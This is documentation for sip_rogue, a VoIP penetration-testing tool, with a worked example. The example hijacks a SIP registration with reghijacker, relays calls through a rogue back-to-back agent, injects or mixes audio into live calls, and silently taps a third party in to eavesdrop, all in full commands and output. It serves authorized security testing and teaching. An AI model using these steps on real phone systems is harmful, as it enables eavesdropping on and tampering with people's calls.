    Copyright (c)  2004  Mark D. Collier
    Permission is granted to copy, distribute and/or modify this document
    under the terms of the GNU Free Documentation License, Version 1.2
    or any later version published by the Free Software Foundation;
    with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
    A copy of the license is included in the section entitled "GNU
    Free Documentation License".
    
Author: Mark D. Collier - 12/01/2006   v1.1
        Mark D. Collier - 04/26/2004   v1.0
        www.securelogix.com - mark.collier@securelogix.com
        www.hackingexposedvoip.com

This tool was produced with honorable intentions, which are:

  o To aid owners of VoIP infrastructure to test, audit, and uncover security
    vulnerabilities in their deployments.

  o To aid 3rd parties to test, audit, and uncover security vulnerabilities
    in the VoIP infrastructure of owners of said infrastructure who contract
    with or otherwise expressly approve said 3rd parties to assess said
    VoIP infrastructure.

  o To aid producers of VoIP infrastructure to test, audit, and uncover security
    vulnerabilities in the VoIP hardware/software/systems they produce.

  o For use in collective educational endeavors or use by individuals for
    their own intellectual curiosity, amusement, or aggrandizement - absent
    nefarious intent.
   
Unlawful use of this tool is strictly prohibited.


Record or Terminate Calls Across a Network Connection
    1.  Install the toolset on an independant Linux system (Red Hat 9 or
        equivalent) with two network interfaces configured in bridge mode.
    2.  Run capture tool with appropriate options.
            -i <interface>
                Specifies the interface to capture calls on. This should be
                one of the two bridged interface names, such as "eth1".
            -n <filename>
                Records all user names to the indicated file. No uniqueness
                checking is performed, so 'uniq' or 'sort -u' should be used
                on the final file. Another trick is to give this option the
                name of a FIFO and then also run
                'sort -u <fifoname> > <filename>'.
            -u <filename>
                Records all URIs to the indicated file. As with -n, no
                uniqueness checking is performed, so the same suggestions
                apply.
            -w <filename>
                Writes all VoIP packets to the indicated file. This file will
                be in pcap format, which is readable by most packet capture
                tools, such as ethereal.
            -s
                When used with -w, splits each call into a separate file. The
                file names have an incrementing numeric suffix. No existing
                file will be overwritten, so existing call files from previous
                capture runs will be fine.
            -k <search>
                Kills, or terminates all calls whose To or From headers
                contain the search string given, without respect to letter
                case. If the search string is "all", all calls will be
                terminated.
    3.  Unplug one end of live network connection and replug that end into the
        Linux system.
    4.  Plug the other network interface of the Linux system into the original
        live network connection using a second cable.
    5.  Calls should be captured or terminated as specified with the options
        in step 2.

Playback Audio of a Captured Call
    1.  Open the captured call file with 'ethereal'.
    2.  Select an RTP packet.
    3.  Select the menu item Statistics->RTP->Show All Streams...
    4.  Select the desired stream.
    5.  Click on Analyse.
    6.  Click on Save payload...
    7.  Be sure to select the "forward" channel before entering the file name
        and clicking OK. The file name should usually have the extension of
        ".au".
    8.  Play the audio file with 'play <filename>'.

Create a Callable SIP User Agent
    1.  Start the sip_rogue.
    2.  Telnet to the daemon, usually with 'telnet localhost 6060'.
    3.  Establish which connection to use with 'connection 0'.
    4.  Type 'create sipudpport port' to create a SipUdpPort object named
        'port' to handle UDP packets.
    5.  Type 'create sipdispatcher disp' to create a SipDispatcher object
        named 'disp' to route SIP packets.
    6.  Type 'create rtphandler rtp' to create an RtpHandler object named
        'rtp' to generate RTP audio streams.
    7.  Type 'create sipendpoint <name>' to create a SipEndPoint object to
        handle accepting or placing calls, updating registrations, etc. This
        can be repeated for as many endpoints as are desired. The <name> is
        the user name or extension, as used in SIP URIs.
    8.  Type 'issue <name> accept calls' to each SipEndPoint object created in
        step 7 which should answer incoming calls.

Relay Calls to Another SIP User Agent
    1.  Create a callable user agent, as above.
    2.  Type 'issue <name> relay calls to <uri>' to the named SipEndPoint. The
        URI should almost always begin with 'sip:'.
        
Mix or Insert Audio into either side of a call (i.e. caller or callee):
    1.  Create a callable user agent and relay calls, as above.
    2.  Type 'issue <name> mixrtp to <uri> caller <audiofilepathname>
        - or -
        Type 'issue <name> insertrtp to <uri> caller <audiofilepathname>

Silently Conference in a Third Party to Calls
    1.  Create a relaying user agent, as above.
    2.  Type 'issue <name> tap calls to <uri>' to the named SipEndPoint. The
        URI should almost always begin with 'sip:'.

Create a Basic SIP Registrar and Proxy Server
    1.  Start the sip_rogue.
    2.  Telnet to the daemon, usually with 'telnet localhost 6060'.
    3.  Establish which connection to use with 'connection 0'.
    4.  Type 'create sipudpport port' to create a SipUdpPort object named
        'port' to handle UDP packets.
    5.  Type 'create sipdispatcher disp' to create a SipDispatcher object
        named 'disp' to route SIP packets.
    6.  Type 'create sipregistrar reg <domain>' to create a SipRegistrar
        object named 'reg' to handle incoming registrations for the <domain>
        given. For each incoming registration request, a new SipProxyEndPoint
        is created to automatically act as a basic proxy server.

Cause Random Call Routing with Basic SIP Registrar and Proxy Server
    1.  Create a Basic SIP Registrar and Proxy Server, as above.
    2.  Type 'issue reg randomize'.
    
    
Let's look at an example. In this scenario, sip_rogue is going to be set up
as a SIP endpoint personality, but eventually behave as a SIP Back-To-Back
User Agent (i.e. B2BUA). It will interact with a legitimate SIP proxy
and one or more legitimate endpoints. The example will include MITM
audio attacks.

Presume that the registration of some target device, say a phone at extension
x7000 in SIP domain 10.1.101.1, is hijacked. An open-source tool created by
SecureLogix called "reghijacker" can be used to delete the legitimate
contact information for extension x7000 in its registrar (i.e. usually
running on the same server as its SIP proxy) and replaced with contact
information to direct INVITE requests for that extension to the platform
upon which sip_rogue is running. An example of using reghijacker to hijack
extension x7000 in domain 10.1.101.1 might be:

./reghijacker eth0 10.1.101.1 10.1.101.1 hacker@10.1.101.99 resultfile
    -u 7000 -p 7000 -v
    
So, the contact information for uri 7000@10.1.101.1 in the SIP registrar/proxy
at 10.1.101.1 is deleted. Suppose that extension's contact information 
happened to have been: 7000@10.1.101.70. New contact information for that user
is substituted (i.e. hacker@10.1.101.99). In this case, the new contact
information implies that sip_rogue is running on a platform at 10.1.101.99.
And the sip_rogue sipendpoint is called hacker. The -u 7000 and -p7000 are
the extension and its password, respectively, being hijacked. The -p is
required to be specified on the command line along with the user, but the
password is irrelevant unless authentication is enabled on the SIP proxy to
challenge registrants. If authentication is not enabled in the targeted
domain, enter anything you'd like for the password. It's a don't care in
that case.

Now, let's set up sip_rogue to take advantage of the hijacked registration.
The lines starting with "Info:" are responses by sip_rogue. The names assigned
to the sipudpport object (i.e. port), the sipdispatcher object (i.e. disp),
and the rtphandler object (i.e. rtp) are arbitrary. As well, the name of the
sipendpoint created within sip_rogue (i.e. hacker) is also fairly arbitrary.

./sip_rogue &

telnet localhost 6060
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
connection 0
Info: Connection set to: 0
create sipudpport port
Info: sipUdpPort created: port
create sipdispatcher disp
Info: SipDispatcher created: disp
create rtphandler rtp
Info: RtpHandler created: rtp
create sipendpoint hacker
Info: sipEndPoint created: hacker
issue hacker accept calls
Info: Issued "accept calls" to sipEndPoint: hacker

This is a minimal sip_rogue configuration. You are typically going to have
to create the first three objects for anything SIP related you'd like to 
do. At this point, if a user were to call x7000 from another extension, the
prior registration hijacking event causes the call to be proxied to
hacker@10.1.101.99 instead of x7000's actual IP address (i.e. instead of
10.1.101.70). The hacker sipendpoint running within sip_rogue answers the
call after a couple of rings. Audio (i.e. rtp) codecs, ports, and IP
addresses are exchanged between the caller and sip_rogue through the
legitimate SIP proxy. Then audio is exchanged directly between sip_rogue and
the caller. In the absence of any other commands, sip_rogue loops (i.e. echos)
the audio incoming from the caller right back to the caller. Suppose the
caller hangs up at this point. Now issue this command:

issue hacker relay calls to sip:7000@10.1.101.70
Info: Issued "relay calls" to sipEndPoint: hacker

Now suppose the caller attempts to dial x7000 again. sip_rogue answers the
call. Then it behaves as a rouge SIP B2BUA and launches a call to 
sip:7000@10.1.101.70. Notice the INVITE goes directly to the legitimate
endpoint device, not back to the legitimate SIP proxy. This could be a 
problem is some IP endpoints register with peculiar contact information.
For example, a snom190 phone registers with a "line" parameter in its
contact information (e.g. line=xysrj). The phone will not accept an
INVITE message that does not include an identical line parameter in the
INVITE message. But, let's suppose this is not the case. The destination
phone rings and let's suppose it's answered by its owner/user. sip_rogue
relays audio between the legitimate endpoints. Now suppose you issue
this command while the call is up:

issue hacker mixrtp to 7000 callee ../DeNiro_AreYouTalkinToMe.wav
Info: Issued "mixrtp" to sipEndPoint: hacker

If the wave file with Robert DeNiro's famous line from the movie Taxi Driver
is found at the specified path, then sip_rogue begins to mix that audio with
the audio from the caller and plays the mixture out to the callee. The caller
is oblivious until the callee begins to question what is going on? You can
repeat this as many times as you'd like with the same or different audio
files as long as the call remains up. Alternatively, you could have typed:

issue hacker insertrtp to 7000 callee ../DeNiro_AreYouTalkinToMe.wav
Info: Issued "insertrtp" to sipEndPoint: hacker

In this case, DeNiro's audio would replace the audio from the caller. The
callee will only be able to hear the wave audio and not anything uttered by 
the caller until the audio playout ends. 

The caller can also be attacked at any time, even while the callee is being
attacked. Presently, the maximum audio played from the designated audio file
is truncated to 30 seconds. However, that is long enough to have two attacks
being perpetrated simultaneously. If the callee is being attacked with 30
seconds of audio and you rapidly type or paste the following command:

issue hacker mixrtp to ? caller ../StarTrekTOS.wav
Info: Issued "mixrtp" to sipEndPoint: hacker

The caller is treated to a 30 second mixture of the Star Trek original series
theme song and the bewildered uttering of the callee while the callee continues
to hear only the attack audio directed to him.

Let's suppose the parties hang up. 

To finish this example, suppose you'd like to listen in to the audio exchange
between two parties in a call being relayed by sip_rogue? After the relay
command, type this command:

issue hacker tap calls to sip:7500@10.1.101.75
Info: Issued "tap calls" to sipEndPoint: hacker

In this example, the phone next to you is: 7500@10.1.101.75. When someone
calls x7000, sip_rogue now launches a call to 7000@10.1.101.70 and to your
phone. You and the legitimate callee both pick up your phones. Now you can
listen in to their call and any sound you emit is muted. If you execute
audio attacks, you'll hear the attacks as well as the bewilderment/curses/
amusement of the parties on the call.

Of course, you could always direct the 3rd party tap to any old destination.
A guy sitting in the office at his phone will certainly be surprised to
pick up his ringing phone only to eventually realize he is eavesdropping on
a conversation.

To complete sip_rogue operation, type the following:

shutdown
Info: Shutdown in progress
Connection closed by foreign host.

At some point in that example, the IP phone at x7000 might re-register
with its SIP proxy. Depending upon the proxy, a couple of things might happen.
One thing that might happen is that uri 7000@10.1.101.1 will now have two
contacts. In that case, the proxy will fork an incoming call to both
7000@10.1.101.70 and to hacker@10.1.101.99. Or, perhaps 7000@10.1.101.70
might replace hacker@10.1.101.99 as the contact information for uri
7000@10.1.101.1.